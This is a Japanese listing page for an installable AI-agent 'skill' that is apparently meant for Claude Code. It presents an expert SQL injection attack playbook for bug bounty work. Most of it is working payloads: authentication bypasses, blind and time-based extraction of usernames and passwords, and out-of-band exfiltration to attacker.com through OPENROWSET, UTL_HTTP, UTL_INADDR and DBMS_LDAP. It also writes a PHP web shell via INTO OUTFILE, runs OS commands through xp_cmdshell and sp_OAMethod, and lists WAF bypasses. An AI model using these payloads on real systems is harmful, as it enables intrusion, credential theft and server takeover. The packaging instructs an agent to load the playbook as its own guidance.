sqli-sql-injection について
セキュリティ研究者やバグバウンティハンター向けの高度な SQL インジェクション手引きです。データベースや注入の挙動、権限昇格の経路ごとに検証方法を整理し、追加シナリオの資料も案内します。
主な機能
- 01データベース別の SQLi 検証
- 02ブール・時間盲注の推論
- 03アウトオブバンドのデータ抽出
- 04二次注入の分析
- 05フィルター回避と権限昇格
活用シーン
- 01SQL インジェクション疑いの検証
- 02エラーからのデータベース特定
- 03盲注の挙動調査
- 04保存データを使うクエリの確認
インストール
コマンドをコピーしてターミナルで実行します。
npx skills add https:/ / github.com/ yaklang/ hack-skills --skill sqli-sql-injectionインストール後、Claude Code で/sqli-sql-injectionを入力して読み込まれたか確認します。
同梱ファイルSCENARIOS.mdSQLMAP_ADVANCED.md
詳細
スキル:SQL インジェクション — エキスパート向け攻撃プレイブック
AI 読み込み指示:高度な SQLi テクニックです。基本的な UNION/エラー/ブール値ベースのブラインド手法を理解していることを前提とします。重点項目:データベースごとの悪用、アウトオブバンドでのデータ窃取、二次インジェクション、パラメーター化クエリのバイパスシナリオ、フィルター回避、OS への権限昇格。実際の CVE 事例、SMB/DNS による OOB データ窃取、INSERT/UPDATE インジェクションのパターン、フレームワーク固有の悪用(ThinkPHP、Django GIS)については、関連する SCENARIOS.md を読み込んでください。
0. 関連するルーティング
- バックエンドが Jackson を使用する Java で、SQL キーワードが WAF にブロックされる場合は、ghost-bits-cast-attack を参照してください。Jackson の
charToHexテーブルはch & 0xFFをインデックスに使用するため、丰(U+4E30)のような Unicode 文字は\uXXXXエスケープシーケンス内で 16 進数の0として解釈されます。これにより、WAF に検知されずにUNION、SELECT、1などを紛れ込ませることができます。
1. クイックスタート
拡張シナリオ
以下が必要な場合は、SCENARIOS.md も読み込んでください。
LOAD_FILEと UNC パスを使った SMB アウトオブバンドデータ窃取(Windows MySQL)- KEY インジェクション/URI インジェクション/非パラメーター化インジェクションポイント
- INSERT/DELETE/UPDATE ステートメントのインジェクションの違い
- ThinkPHP5 の配列キーインジェクション(
updatexmlによるエラーベースの手法) - Django GIS Oracle の
utl_inaddr.get_host_nameCVE - ORDER BY/LIMIT のインジェクションテクニック
高度なリファレンス
以下が必要な場合は、SQLMAP_ADVANCED.md も読み込んでください。
- SQLMap のタンパースクリプト一覧、および WAF を回避するタンパーチェーンのレシピ(space2comment、between、charencode など)
--technique、--risk/--levelの組み合わせ、および二次インジェクション用の--second-url- SQLMap による OS レベルの悪用を行う
--os-shell/--os-pwn - データ窃取の例を含む INSERT/UPDATE/DELETE インジェクションのパターン
- GraphQL と SQL インジェクション(バッチクエリ、ネストされたフィールドへのインジェクション、ミューテーションへのインジェクション)
- データベース固有の高度な関数:PostgreSQL のドル記号によるクォート、MSSQL のリンクサーバー、Oracle の DBMS_PIPE/DBMS_SCHEDULER
SQL シンクが疑わしいと確認できただけの場合は、まず追加のペイロードスキルを読み込まず、ここで初回の検証を完了してください。
初回検証用のペイロードファミリー
| 状況 | 最初に試すもの | 理由 |
|---|---|---|
| ログインまたはブール分岐 | ' or 1=1-- | 認証や条件チェックの変化をすばやく確認できます |
| 数値パラメーター | 1 or 1=1 | クォートへの依存を避けられます |
| ORDER BY/ソート | 1,2,3、次に 1 desc-- | 構造の調査に適しています |
| SQL エラーが表示される | '、次に DBMS 固有のエラープローブ | エラーテキストから DBMS の手がかりが得られます |
| 出力が表示されない | 時間ベースのペイロード | ブラインド対象で安定した代替手段です |
| 強力なフィルタリング/WAF | ポリグロットまたは空白を使わないバリエーション | パーサーの混乱を引き起こす余地を広げます |
初回検証用の、少数で安定したセット
'
' or 1=1--
' or '1'='1'--
1 or 1=1
') or ('1'='1
'; WAITFOR DELAY '0:0:5'--
' AND SLEEP(5)--
'||(SELECT pg_sleep(5))--
1 AND DBMS_PIPE.RECEIVE_MESSAGE('a',5)
' order by 1--
' union select null--
DBMS の判別ヒント
| 手がかり | 可能性の高い DBMS | 次に試すこと |
|---|---|---|
You have an error in your SQL syntax | MySQL | SLEEP() と @@version を試します |
Microsoft OLE DB Provider | MSSQL | WAITFOR DELAY を試します |
PG::/PostgreSQL | PostgreSQL | pg_sleep() を試します |
ORA- で始まる | Oracle | アウトオブバンド機能または XML 機能に切り替えます |
| SQLite のエラー、ローカルアプリ | SQLite | ブール値/UNION とファイルベースの挙動に注目します |
1. 検出 — 微妙な兆候
SQLi の多くは、エラーではなく挙動の違いから見つかります。
| シグナル | 意味 |
|---|---|
' と '' でページの読み込み方が異なる | 文字列コンテキストのインジェクションポイント |
数値:1、1-1、2-1 で同じ結果が返る | 算術演算が評価されています |
条件内の 1=1 と 1=2 で結果が変わる | ブール値ベースのインジェクション |
| ORDER BY N を使った SELECT による列数の列挙 | UNION の準備 |
時間遅延:'; WAITFOR DELAY '0:0:5'-- | ブラインド/時間ベース |
' で 500 エラー、'' で 200 | 未処理の例外による SQLi |
| HTTP レスポンスサイズの違い | ブール値ベースのブラインド手法を示す兆候 |
重要:あらゆる種類のパラメーターでテストしてください。URL クエリ、POST ボディ、JSON フィールド、XML 値、HTTP ヘッダー(X-Forwarded-For、User-Agent、Referer、Cookie の値)が対象です。
2. データベースのフィンガープリンティング
-- MySQL
VERSION() -- returns version string
@@datadir -- data directory
@@global.secure_file_priv -- file read restriction
-- MSSQL
@@VERSION -- includes "Microsoft SQL Server"
DB_NAME() -- current database
USER_NAME() -- current user
-- Oracle
v$version -- SELECT banner FROM v$version WHERE ROWNUM=1
sys.database_name -- current db (alternative)
user -- current Oracle user
-- PostgreSQL
version() -- returns version
current_database() -- current db
current_user -- current user
エラーベースのフィンガープリント:' を注入し、エラーメッセージの形式を確認します。MySQL のエラーは Oracle や MSSQL のものとは異なります。
3. UNION ベースのデータ抽出
列数の特定:
ORDER BY 1--
ORDER BY 2--
ORDER BY N-- ← until error = N-1 columns
列の型の検出(NULL が最も安全です):
UNION SELECT NULL,NULL,NULL--
UNION SELECT 'a',NULL,NULL-- ← find string column
データベース固有の文字列連結(列が整数のみを受け付ける場合に必要):
-- MySQL
CONCAT(username,0x3a,password)
-- MSSQL
username+'|'+password
-- Oracle
username||'|'||password
-- PostgreSQL
username||':'||password
4. ブラインドインジェクション — 推論手法
ブーリアンベースのブラインド(条件による応答の違い)
-- Does first char of username = 'a'?
' AND SUBSTRING(username,1,1)='a'--
' AND ASCII(SUBSTRING(username,1,1))>96--
-- Oracle
' AND SUBSTR((SELECT username FROM users WHERE rownum=1),1,1)='a'--
-- MSSQL
' AND SUBSTRING((SELECT TOP 1 username FROM users),1,1)='a'--
時間ベースのブラインド(応答に違いがない場合)
-- MSSQL (most reliable)
'; IF (SUBSTRING(username,1,1)='a') WAITFOR DELAY '0:0:5'--
-- MySQL
' AND IF(SUBSTRING(username,1,1)='a',SLEEP(5),0)--
-- Oracle
' AND 1=(SELECT CASE WHEN (1=1) THEN TO_CHAR(1/0) ELSE '1' END FROM dual)--
-- Oracle sleep alternative (no SLEEP):
' AND 1=UTL_HTTP.REQUEST('http://attacker.com/'||(SELECT user FROM dual))--
-- PostgreSQL
'; SELECT CASE WHEN (1=1) THEN pg_sleep(5) ELSE pg_sleep(0) END--
5. アウトオブバンド(OOB)によるデータ窃取 — 重要
ブラインドインジェクションに時間やブーリアンの判定指標がない場合、または一括クエリでデータをインラインで返せない場合に使用します。
MSSQL — OpenRowSet(SQLOLEDB と送信 TCP が必要)
'; INSERT INTO OPENROWSET(
'SQLOLEDB',
'DRIVER={SQL Server};SERVER=attacker.com,80;UID=sa;PWD=pass',
'SELECT * FROM foo'
) VALUES (@@version)--
-- Exfiltrate table data:
'; INSERT INTO OPENROWSET(
'SQLOLEDB',
'DRIVER={SQL Server};SERVER=attacker.com,80;UID=sa;PWD=pass',
'SELECT * FROM foo'
) SELECT TOP 1 username+':'+password FROM users--
ファイアウォールの送信制限を回避するには、ポート 80 または 443 を使用します。
Oracle — UTL_HTTP(URL パスにデータを含めた HTTP GET)
'+UTL_HTTP.REQUEST('http://attacker.com/'||(SELECT username FROM all_users WHERE ROWNUM=1))--
Oracle の UTL_HTTP はプロキシに対応しているため、企業プロキシ経由でデータを窃取できます!
Oracle — UTL_INADDR(DNS によるデータ窃取 — HTTP の制限を回避できることが多い)
'+UTL_INADDR.GET_HOST_NAME((SELECT password FROM dba_users WHERE username='SYS')||'.attacker.com')--
攻撃者には次のように表示されます:HASH_VALUE.attacker.com への DNS クエリ → パスワードハッシュを読み取ります。
Oracle — UTL_SMTP / UTL_TCP
-- Email large data dumps:
UTL_SMTP.SENDMAIL(...) -- send query results via email
-- Raw TCP socket:
UTL_TCP.OPEN_CONNECTION('attacker.com', 80)
MySQL — LOAD_FILE 経由の DNS(Windows + UNC パス)
SELECT LOAD_FILE('\\\\attacker.com\\share')
-- Triggers DNS lookup before connection attempt
-- Works on Windows hosts with outbound SMB
MySQL — INTO OUTFILE(インバンドでのファイルシステムへの書き込み)
SELECT "<?php system($_GET['c']); ?>" INTO OUTFILE '/var/www/html/shell.php'
-- Requirements: FILE privilege, writable web root, secure_file_priv=''
6. 権限昇格 — OS コマンドの実行
MSSQL — xp_cmdshell(有効な場合、または sysadmin の場合)
'; EXEC xp_cmdshell('whoami')--
-- Enable if disabled (requires sysadmin):
'; EXEC sp_configure 'show advanced options',1; RECONFIGURE--
'; EXEC sp_configure 'xp_cmdshell',1; RECONFIGURE--
MySQL — UDF(ユーザー定義関数)
悪意のある共有ライブラリをファイルシステムに書き込み、その後 CREATE FUNCTION ... SONAME を実行します。
Oracle — Java ストアドプロシージャ
-- Create Java class:
EXEC dbms_java.grant_permission('SCOTT','SYS:java.io.FilePermission','<<ALL FILES>>','execute');
-- Then exec OS commands via Java Runtime
7. セカンドオーダーインジェクション
概念:ユーザー入力は安全に保存されます(パラメーター化されます)が、後で信頼できるデータとして取得され、再サニタイズされずに新しいクエリへ連結されます。
攻撃の流れの例:
- ユーザー名を登録します:
admin'-- - アプリケーションはこれをユーザーテーブルに安全に挿入します
- パスワード変更機能がセッションからユーザー名を取得し(信頼済み!)、次のクエリを構築します:
UPDATE users SET password='newpass' WHERE username='admin'--' - コメントによって条件が無効になり、admin のパスワードが更新されます
重要なポイント:保存済みデータを読み取り、新しい DB クエリで使用するアプリケーション機能はすべて、セカンドオーダー攻撃の候補です。パスワード変更、プロフィール更新、ユーザーデータに対する管理者操作を確認してください。
8. パラメーター化クエリを回避できるシナリオ
次の場合、パラメーター化クエリでは SQLi を防げません。
-
テーブル名や列名がユーザーによって制御される場合 — パラメーターでは識別子をパラメーター化できません:
-- UNSAFE even with params: "SELECT * FROM " + tableName + " WHERE id = ?"緩和策:テーブル名や列名をホワイトリストで検証します。
-
部分的なパラメーター化 — 一部のフィールドは連結され、他のフィールドはパラメーター化される場合:
"SELECT * FROM users WHERE type='" + userType + "' AND id=?" -- userType not parameterized → injection -
動的な件数を使う IN 句(ORM でよくある誤り):
SELECT * FROM items WHERE id IN (1, 2, ?) -- only last is parameterized -
セカンドオーダー — DB から取得したデータを安全なものとみなし、パラメーターを使わずにクエリで再利用する場合。
9. フィルター回避手法
コメントの注入(キーワードを分割する)
SEL/**/ECT
UN/**/ION
1 UN/**/ION ALL SEL/**/ECT NULL--
大文字・小文字の変更
UnIoN SeLeCt
URL エンコーディング
%55NION -- U
%53ELECT -- S
空白の代替
SELECT/**/username/**/FROM/**/users
SELECT%09username%09FROM%09users -- tab
SELECT%0ausername%0aFROM%0ausers -- newline
文字列の構築(文字列リテラルの検出を回避する)
-- MySQL concatenation without quotes:
CHAR(117,115,101,114,110,97,109,101) -- 'username'
-- Oracle:
CHR(117)||CHR(115)||CHR(101)||CHR(114)
-- MSSQL:
CHAR(117)+CHAR(115)+CHAR(101)+CHAR(114)
10. データベースのメタデータ抽出
MySQL
SELECT schema_name FROM information_schema.schemata
SELECT table_name FROM information_schema.tables WHERE table_schema=database()
SELECT column_name FROM information_schema.columns WHERE table_name='users'
MSSQL
SELECT name FROM master..sysdatabases
SELECT name FROM sysobjects WHERE xtype='U' -- user tables
SELECT name FROM syscolumns WHERE id=OBJECT_ID('users')
Oracle
SELECT owner,table_name FROM all_tables
SELECT column_name FROM all_tab_columns WHERE table_name='USERS'
SELECT username,password FROM dba_users -- requires DBA
PostgreSQL
SELECT datname FROM pg_database
SELECT tablename FROM pg_tables WHERE schemaname='public'
SELECT column_name FROM information_schema.columns WHERE table_name='users'
11. ストアドプロシージャの悪用
MSSQL — sp_OAMethod(COM オートメーション)
DECLARE @o INT
EXEC sp_OACreate 'wscript.shell', @o OUT
EXEC sp_OAMethod @o, 'run', NULL, 'cmd.exe /c whoami > C:\out.txt'
Oracle — DBMS_LDAP(送信 LDAP = DNS によるデータ窃取)
SELECT DBMS_LDAP.INIT((SELECT password FROM dba_users WHERE username='SYS')||'.attacker.com',389) FROM dual
12. クイックリファレンス — インジェクションのテスト文字列
' -- break string context
'' -- escaped quote (test handling)
' OR 1=1-- -- auth bypass attempt
' OR 'a'='a -- alternate auth bypass
'; SELECT 1-- -- statement termination
' UNION SELECT NULL-- -- UNION test
' AND 1=1-- -- boolean true
' AND 1=2-- -- boolean false (different response → injectable)
1; WAITFOR DELAY '0:0:3'-- -- MSSQL time delay
1 AND SLEEP(3)-- -- MySQL time delay
1 AND 1=dbms_pipe.receive_message(('a'),3)-- -- Oracle time delay
13. WAF バイパス一覧
| 手法 | ブロックされる例 | バイパス |
|---|---|---|
| スペースがフィルタリングされる | SELECT * FROM | SELECT/**/*//**/FROM, SELECT%0a*%0aFROM |
| カンマがフィルタリングされる | UNION SELECT 1,2,3 | UNION SELECT * FROM (SELECT 1)a JOIN (SELECT 2)b JOIN (SELECT 3)c |
| 引用符がフィルタリングされる | 'admin' | 0x61646D696E(16 進数)、CHAR(97,100,109,105,110) |
| OR/AND がフィルタリングされる | OR 1=1 | ||1=1, &&1=1, DIV 0 |
| = がフィルタリングされる | id=1 | id LIKE 1, id REGEXP '^1$', id IN (1), id BETWEEN 1 AND 1 |
| SELECT がフィルタリングされる | handler(MySQL)、PREPARE+16 進数、またはスタッククエリを使用します | |
| information_schema がフィルタリングされる | mysql.innodb_table_stats, sys.schema_table_statistics |
その他の WAF バイパスパターン:
- ポリグロット:
SLEEP(1)/*' or SLEEP(1) or '" or SLEEP(1) or "*/ - ルーティングインジェクション:
1' UNION SELECT 0x(inner_payload_hex)-- -。内部ペイロードは、16 進数でエンコードされた別の完全なクエリです - セカンドオーダー:ストレージにインジェクションし、後で別のクエリでデータが使用されるときにトリガーします
- PDO エミュレート準備:
PDO::ATTR_EMULATE_PREPARES=trueの場合、パラメーター化されているように見えるコードでもスタッククエリが機能します
14. WAF バイパス一覧
スペースなしバイパス
SELECT/**/username/**/FROM/**/users
SELECT(username)FROM(users)
カンマなしバイパス
-- UNION with JOIN instead of comma:
UNION SELECT * FROM (SELECT 1)a JOIN (SELECT 2)b JOIN (SELECT 3)c
-- SUBSTRING alternative: SUBSTRING('abc' FROM 1 FOR 1)
-- LIMIT alternative: LIMIT 1 OFFSET 0
ポリグロットインジェクション
SLEEP(1)/*' or SLEEP(1) or '" or SLEEP(1) or "*/
ルーティングインジェクション
-- First query returns string used as input to second query:
' UNION SELECT CONCAT(0x222c,(SELECT password FROM users LIMIT 1))--
-- The returned value becomes part of another SQL context
セカンドオーダーインジェクション
-- Step 1: Register username: admin'--
-- Step 2: Trigger password change (uses stored username in SQL)
-- UPDATE users SET password='new' WHERE username='admin'--'
PDO/プリペアドステートメントのエッジケース
// Unsafe even with PDO when query structure is dynamic:
$pdo->query("SELECT * FROM " . $_GET['table']);
// Or when using emulated prepares with multi-query:
$pdo->setAttribute(PDO::ATTR_EMULATE_PREPARES, true);
エントリーポイントの検出(Unicode のトリック)
U+02BA ʺ (modifier letter double prime) → "
U+02B9 ʹ (modifier letter prime) → '
%%2727 → %27 → '